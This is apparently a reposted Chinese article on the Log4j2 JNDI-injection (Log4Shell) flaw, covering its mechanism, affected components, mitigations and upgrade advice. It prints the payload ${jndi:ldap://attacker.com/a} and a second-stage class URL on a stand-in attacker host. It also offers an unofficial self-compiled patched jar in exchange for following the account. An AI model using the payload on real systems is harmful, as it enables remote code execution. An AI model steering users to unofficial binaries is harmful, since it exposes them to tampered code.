Log4j爆核彈級漏洞,大廠中招、公司炸鍋了...
點擊關(guān)注上方“Stephen”,
設(shè)為“置頂或星標(biāo)”,第一時間送達(dá)干貨

作者:研磨架構(gòu)
出處:https://www.zhihu.com/question/505025655/answer/2265086040
這周,很多 Java 程序員都忙瘋了,因為只要是 Java 程序員,幾乎都會用到 Apache Log4j 這個組建。
但這個組件卻爆出來一個史詩級的?Bug?。
1
Apache Log4j
Apache Log4j 2 是一款優(yōu)秀的 Java 日志框架。該工具重寫了 Log4j 框架,并且引入了大量豐富的特性。該日志框架被大量用于業(yè)務(wù)系統(tǒng)開發(fā),用來記錄日志信息。

由于 Apache Log4j 2 某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。
漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)進(jìn)行日志記錄時,即可觸發(fā)此漏洞,成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
通俗簡單的說就是:在打印日志的時候,如果你的日志內(nèi)容中包含關(guān)鍵詞??${,攻擊者就能將關(guān)鍵字所包含的內(nèi)容當(dāng)作變量來替換成任何攻擊命令,并且執(zhí)行。
通過JNDI注入漏洞,黑客可以惡意構(gòu)造特殊數(shù)據(jù)請求包,觸發(fā)此漏洞,從而成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
注意,此漏洞是可以執(zhí)行任意代碼,這就很恐怖,相當(dāng)于黑客已經(jīng)攻入計算機(jī),可以為所欲為了,就像已經(jīng)進(jìn)入你家,想干什么,就干什么,比如運(yùn)行什么程序,植入什么病毒,變成他的肉雞。
2
漏洞詳細(xì)描述
Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞詳細(xì)信息已被披露,而經(jīng)過分析,本次 Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞,正是由于組件存在 Java JNDI 注入漏洞。
當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時,攻擊者通過構(gòu)造特殊請求,來觸發(fā) Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.* This is basically pseudo-code to explain the vulnerability, and not a full example.* @param he HTTP Request Object*/public void handle(HttpExchange he) throws IOException {string userAgent = he.getRequestHeader("user-agent");// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}log.info("Request User Agent:" + userAgent);String response = "Hello There, " + userAgent + "!
";he.sendResponseHeaders(200, response.length());OutputStream os = he.getResponseBody();os.write(response.getBytes());os.close();}}
根據(jù)上面提供的攻擊代碼,攻擊者可以通過JNDI來執(zhí)行LDAP協(xié)議來注入一些非法的可執(zhí)行代碼。
攻擊步驟
攻擊者向漏洞服務(wù)器發(fā)起攻擊請求。
服務(wù)器通過Log4j2記錄攻擊請求中包含的基于JNDI和LDAP的惡意負(fù)載
${jndi:ldap://attacker.com/a},attacker.com是攻擊者控制的地址。記錄的惡意負(fù)載被觸發(fā),服務(wù)器通過JNDI向
attacker.com請求。attacker.com就可以在響應(yīng)中添加一些惡意的可執(zhí)行腳本,注入到服務(wù)器進(jìn)程中,例如可執(zhí)行的字節(jié)碼http://second-stage.attacker.com/Exploit.class。攻擊者執(zhí)行惡意腳本。
專門畫了一張圖,讓大家更好理解,一圖勝千言:

下面就是漏洞“攻陷”,比如可以在baidu搜索框里輸入特殊格式請求,造成網(wǎng)頁劫持:

受影響版本(看起來是Log4j2才受影響,Log4j 1.2.15以下不受影響):
Spring-boot-strater-log4j2
Apache Solr
Apache Flink
Apache Druid
有報道稱,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等眾多組件及大型應(yīng)用均已經(jīng)受到了影響,需盡快采取方案阻止。
3
解決方案
目前,Apache Log4j 已經(jīng)發(fā)布了新版本來修復(fù)該漏洞,請受影響的用戶將 Apache Log4j2 的所有相關(guān)應(yīng)用程序升級至最新的 Log4j-2.15.0-rc2 版本。
同時升級已知受影響的應(yīng)用程序和組件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
臨時修復(fù)建議:
JVM 參數(shù)添加 -Dlog4j2.formatMsgNoLookups=truelog4j2.formatMsgNoLookups=TrueFORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為true
安全建議:
據(jù) Apache 官方最新信息顯示,release 頁面上已經(jīng)更新了 Log4j 2.15.0 版本,主要是那個log4j-core包,漏洞就是在這個包里產(chǎn)生的,如果你的程序有用到,盡快緊急升級。
現(xiàn)在網(wǎng)上公開的倉庫還下載不到解決漏洞的 Log4j2 2.15.0版本,需要自己編譯源碼獲取Jar包,我這里有一份,已經(jīng)幫大家下載好了。
Log4j2 2.15.0 jar 包下載方式,點擊下方卡片關(guān)注后,回復(fù):log,獲取Jar 包。
長按識別如下二維碼,可在該公眾號平臺優(yōu)惠充值話費(fèi),流量,視頻會員等。(如二維碼已過期,可在公眾號后臺發(fā)送?充值?獲取最新二維碼)
